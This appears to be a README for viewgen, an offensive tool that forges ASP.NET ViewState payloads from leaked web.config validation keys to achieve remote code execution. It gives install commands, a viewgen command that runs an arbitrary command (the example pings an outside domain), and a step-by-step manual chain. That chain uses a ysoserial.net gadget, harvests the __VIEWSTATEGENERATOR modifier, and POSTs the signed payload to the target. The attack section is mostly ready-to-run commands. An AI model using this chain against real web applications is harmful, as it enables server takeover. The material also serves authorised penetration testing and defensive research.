viewgen: generating both signed and encrypted payloads with leaked validation keys
viewgen
ASP.NET ViewState Generator
viewgen is a ViewState tool capable of generating both signed and encrypted payloads with leaked validation keys or web.config files.
Install
git clone https://github.com/0xACB/viewgen.git pip3 install --upgrade -r requirements.txt
Use
Example
Achieving Remote Code Execution
Leaking the web.config file or validation keys from ASP.NET apps result in RCE via ObjectStateFormatter deserialization if ViewStates are used.
You can use the built-in command option (ysoserial.net based) to generate a payload:
$ viewgen –webconfig web.config -m CA0B0334 -c “ping yourdomain.tld”
However, you can also generate it manually:
1 – Generate a payload with ysoserial.net:
> ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c “ping yourdomain.tld”
2 – Grab a modifier (__VIEWSTATEGENERATOR value) from a given endpoint of the webapp
3 – Generate the signed/encrypted payload:
$ viewgen –webconfig web.config –modifier MODIFIER PAYLOAD
4 – Send a POST request with the generated ViewState to the same endpoint
5 – Profit 🎉🎉
Copyright (c) 2019 André Baptista
Source: https://github.com/0xACB/
